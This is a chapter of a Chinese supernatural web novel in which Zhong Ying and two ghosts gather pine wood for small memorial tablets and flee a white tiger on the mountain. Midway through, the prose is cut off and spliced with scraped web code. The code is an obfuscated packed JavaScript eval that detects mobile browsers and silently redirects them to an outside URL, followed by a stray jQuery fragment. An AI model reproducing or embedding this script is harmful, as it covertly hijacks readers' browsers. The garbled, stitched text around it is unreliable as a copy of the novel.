21. 奔逃
作品:《恶女总有死鬼磨[年代]》 “真的没有我的太姑奶嫁给你的太爷爷这种事情吗?”钟颖不死心的问,“我爷爷的堂姐的儿子娶了你表叔的姑姑的女儿,这种事也没有吗?”
都过去三天了,钟颖还是难以相信,“不是说以前我们的先祖都是富商家的仆人,丫鬟配小厮,才有的家生子啊!我和你们姓李的居然一丁点亲戚关系都没有?”
对此李霖时只是淡淡的睨她一眼,“我以为这点你在对我下手前就已经有认知了。”
钟颖顿时无言哽住。
虽说乡野人家亲戚关系盘根错节,但结亲前也是要好好打听清楚,出了五服才能结亲,原先的钟颖看上李霖时后,她娘邓霞也是悄悄去找胡打听问过,细细盘算过一番是没有任何血缘交集的,才更觉得这是天作之合的好姻缘。
钟颖只能无奈的继续向前走。
午后的阳光从林间枝叶的缝隙穿过,撒在三鬼一人的身上。
李长贵惊奇的感受着阳光穿透自己落在地面上,他张开手端详着,居然毫发无伤,“我之前一直觉得鬼一照太阳就会化成灰。”
不同于才死不久、还坚持着像人一样脚踩着地走路的两青年,曹芳飘在半空中,“那都是人自己想的。”
“就算是没有条件创造条件,没有关系创造关系,”钟颖脑筋一转,“除了拜天地我们还可以拜把子啊!就像是桃园三结义!”
李霖时顺着她的思路想,沉吟片刻,“也行。”
是的,在那天李长贵思来想去只想出个未完成版的“四堂嫂”后,牛头马面倒是顺着这个馊主意指点了一番,既然是差一点就成了的夫妻关系,只要现在人认、鬼也认,拜过天地后就算在世间过了明路。
妻立夫牌位、再立小叔子的牌位,这样带着两个牌位的钟颖就可以领着两鬼离开,鬼的活动范围从原本的同甘生产队变成了钟颖身边。
所以吃过午饭后,钟颖借口去山脚搂柴火,却悄悄上了颖山,为的就是搜罗做牌位的松木。
一想到要先收集到木材、再进行拜把子、立牌位这一系列的事情,钟颖忍不住想要跳关,又提议道,“或者我们再换个思路?拜干娘行吗?这样你们把自己的牌位从各自家里偷出来就行。”
李霖时和李长贵的牌位都是爹娘立的,按照惯例都是刻的“儿某某某之位”,钟颖想要拿来直接用,她也不介意多两个好大儿,这样就不用给他们再创“小号”了。
她是不介意,但不代表两鬼不介意。
李霖时只用他那双死人眼冷冷看着钟颖。
李长贵难以置信,他听到了什么?
“我们可是平辈!”李长贵抗议,“我怎么可能认你当干娘!”
“我就说说。”钟颖面色自若,仿佛刚刚出馊主意的人不是她似的。
颖山上草木茂盛,鲜少人类活动的迹象,就连路都只有窄窄一条,是只有四脚兽才能踩出的宽度。
钟颖踩在那勉强只容一人行走的羊肠小道上,一路上看到了生长在树木根部的蘑菇、土里冒头的小竹笋、成片生长的野菜……她随手从枝头摘下了一颗毛樱桃塞进嘴里,甘甜的汁水在齿间炸开,令钟颖不禁发自内心的感慨,同甘生产队的人们对颖山是有多么的敬畏,居然能放着这样一座“宝山”,只在山脚捡捡柴火。
寻找木材的后半程气氛变得安静多了,钟颖忙着嚼嚼嚼,嘴巴被毛樱桃、野树莓、灯笼果、野葡萄占得满满的,根本顾不上说话。没办法,要不是她这次是偷偷摸上山的,高低要把背后的草筐装满,现在只能把嘴填满了。
曹芳的生活经验最多,她飘在前面辨认着树木品种,直走过半山坡,才终于找到了松树,“找到了!”
李霖时见钟颖嘴巴没停,只点点头,回头朝他看了一眼,眼神示意让他把她背上草筐里的劈柴斧拿出来,指使人都这般理直气壮。
钟颖当然理直气壮了,现在是李霖时的堂弟要圆梦,又不是她堂弟要圆梦,她能掺一脚来帮忙已经是很好心了,总不能指望她像个任劳任怨的圣母,把事情全包揽了吧。
李长贵见钟颖一个眼神,他四堂哥就默默伸手把劈柴斧拿了出来,更加深信不疑自己那套想法,毕竟他娘单淑惠一个眼神都指使不动他爹李阳,这证明什么,这证明他四堂哥被钟颖吃得死死的。
李霖时要是会读心,怕是会无语的解释一番,他只是觉得毕竟是他堂弟的事,不好总是麻烦别人,他出个力也是应该的。
可惜他的技能全点在了水上。
李霖时握着劈柴斧头,走到松树前作势就要朝最粗的一根枝杈砍去。
“等等,你砍这么粗一根木头请问我怎么带回去?”钟颖扬起假笑,“被人看到我该怎么解释?”
李霖时的动作停住了。
钟颖抬手挡在额前,视线在面前的松树上搜罗一圈,指着稍细一些的树枝说,“砍那根吧。”
曹芳飘上去看了看,“大侄女,这根树枝这么细,都没有牌位宽。”
“我就打算做个小的,我总不能真那么明目张胆的捧着两个牌位出去。”钟颖说,“做个小的我还能塞兜里。”
曹芳一脸的恍然大悟,“你说得对,其实也没人规定牌位到底要做多大,只是人人都那么做,把我也给框住了,还是你们年轻人脑子灵活。”
李长贵一脸难言的看着曹芳,还是很不适应她顶着一张看着像姐姐的脸却说着长辈的话。
等李霖时把松树枝杈砍下来,李长贵又接手将其劈成几段,伪装成普通柴火塞进钟颖背着的筐子里。
“嗝~”钟颖打了个嗝,等他们干活的时间她又吃了不少野果子,自然的像回到自己家一样,随手一拿就塞嘴里了。
就是手上沾了些果子的汁水,黏黏糊糊的,钟颖左右看看,附近林子里也没有水,四下望去唯一和水能沾上边的就只有……
钟颖背着筐子凑到李霖时跟前,试探的问,“能给我来点水洗手吗?”
李霖时看着伸到自己面前的手,突然发现钟颖不应该属猪,应该属猴才对,上杆子就往上爬,得寸进尺说的就是她。
见他不说话,钟颖讪讪收回自己的手,“不行就不行呗……”
下一秒她的指尖却被攥住。
不过很快李霖时就松开了手,接着一股带着凉意的河水浇到她的手心,钟颖连忙趁着这股水流两手揉搓,动作麻利的把手洗干净。
李长贵还是头一次亲眼看他四堂哥的这种诡异能力,在见到水流凭空出现后便睁大了双眼。
钟颖洗去了粘腻,随意甩了甩手上的水,开口道,“我们下山——”
剩下的话突然卡在了她的嗓子眼里。
一片苍绿色的山林中出现了另一种颜色,掉落在地的枝桠被一脚踩断,发出清脆的嘎吱声。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16487463|185220||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
钟颖瞳孔放大,整个人像被震住一般僵立在原地,只能看着那肌肉线条流畅的四肢迈着稳健有力的步子,渐渐完全显露出它雄健又庞大的身躯。
吊睛黑纹,通体的毛发是像雪一般的白色,头圆吻宽,即使相隔数十米的距离,那种恐怖又强势的压迫感仍扑面而来。
“我勒个去!”钟颖吓得冷汗直冒,汗毛竖起,那虎头都有脸盆一样大了,张开嘴一口怕是能咬掉她半个身子,“我以为说山上有野兽是一种夸张的、吓唬小孩的修辞手法!”
原来是一点都没说错啊!还说轻了!要早知道山上有老虎,她就在山脚下等他们,让几只鬼自己上山了!
那白虎定睛一看,顿时目光变得凛冽凶狠,鼻子皱起,发出一声愤怒恐吓的虎啸,霎那间山林之中无数飞鸟惊慌飞出,小动物们仓皇奔逃。
钟颖更是吓破了胆,一下就跳到旁边的水鬼身上,仿佛抓住了救命稻草,“快快快,用你的那招把我再抡河里去!它咬不着你们这些鬼,可我这个人是实打实的肉啊!”
“快点!这点距离它三两步就跑过来了!”钟颖的声音都变了调。
像是证实她的话一般,白虎向后倒退一步俯低身子,接着便如同闪电般向前冲来。
钟颖下意识的侧头回避,双眼紧紧闭上,下一刻水从四面八方涌来,这一次她却瞬间松了一口气,钟颖突然觉得河水略带压迫感、透不过气来的包围令她很是安心。
白虎扑了个空,恼怒的用爪子在地上狠狠刨了一下,留下几道深深的痕迹。
李长贵傻眼,怔愣在原地,不敢相信自己刚刚看到的。一秒钟的功夫他四堂哥就揽住钟颖的腰,化作一团水裹挟住她,瞬息间融进土地中消失不见。
不是?他哥也太干脆了吧?李长贵已经有认知他四堂哥是身心系于钟颖,可如此干脆的见色忘弟,就这么把他给扔下了?
白虎扭头,又愤怒的虎啸一声。
“不好,它能看见我们!”曹芳油然而生一种危机感,莫名的觉得要是被这老虎咬上一口或挠一爪子绝不会是什么好事,她一把揪住还在愣神的李长贵,像提溜小鸡仔一般揪着他的脖子转身飞跃下山。
被拽着奔逃的李长贵被迫魂在前面飞,长长的舌头在后面追,“啊啊啊——”
山脚下,正在田间劳作的生产队众人也听到了这两声可怖的虎啸声,有孩子的几个媳妇们纷纷吓白了脸,不知道是哪个孩子又不听大人的话偷跑上山了。
田梅满眼仓皇的扭头去看李明,“爹,我想回去看一眼光宗……”
见其他的妇人也殷切的看着他,李明也不是不通人情的生产队队长,他摆了摆手,“想回去的,就都回去看一眼,确认孩子没事了,安下心来再回来继续干活。”
这话一出,几个媳妇顾不上别的,纷纷放下手里的农具就往村子里跑去。
邓霞看着她们慌张的身影,不禁有些唏嘘,曾几何时她也是这副样子,她大儿子曾经就是村子里胆子最大的孩子,几次上山,吓得她恨不得把他的腿打断!
不过现在好了,邓霞长舒一口气,最调皮捣蛋的钟诚长大成人了,小儿子钟信从小就是个老实孩子,她闺女钟颖,这么大一个姑娘了,更不会像个皮小子一样往山上跑。
邓霞啧了一声,摇了摇头,“也不知道是谁家的孩子,这么不让爹娘省心,造孽哟。”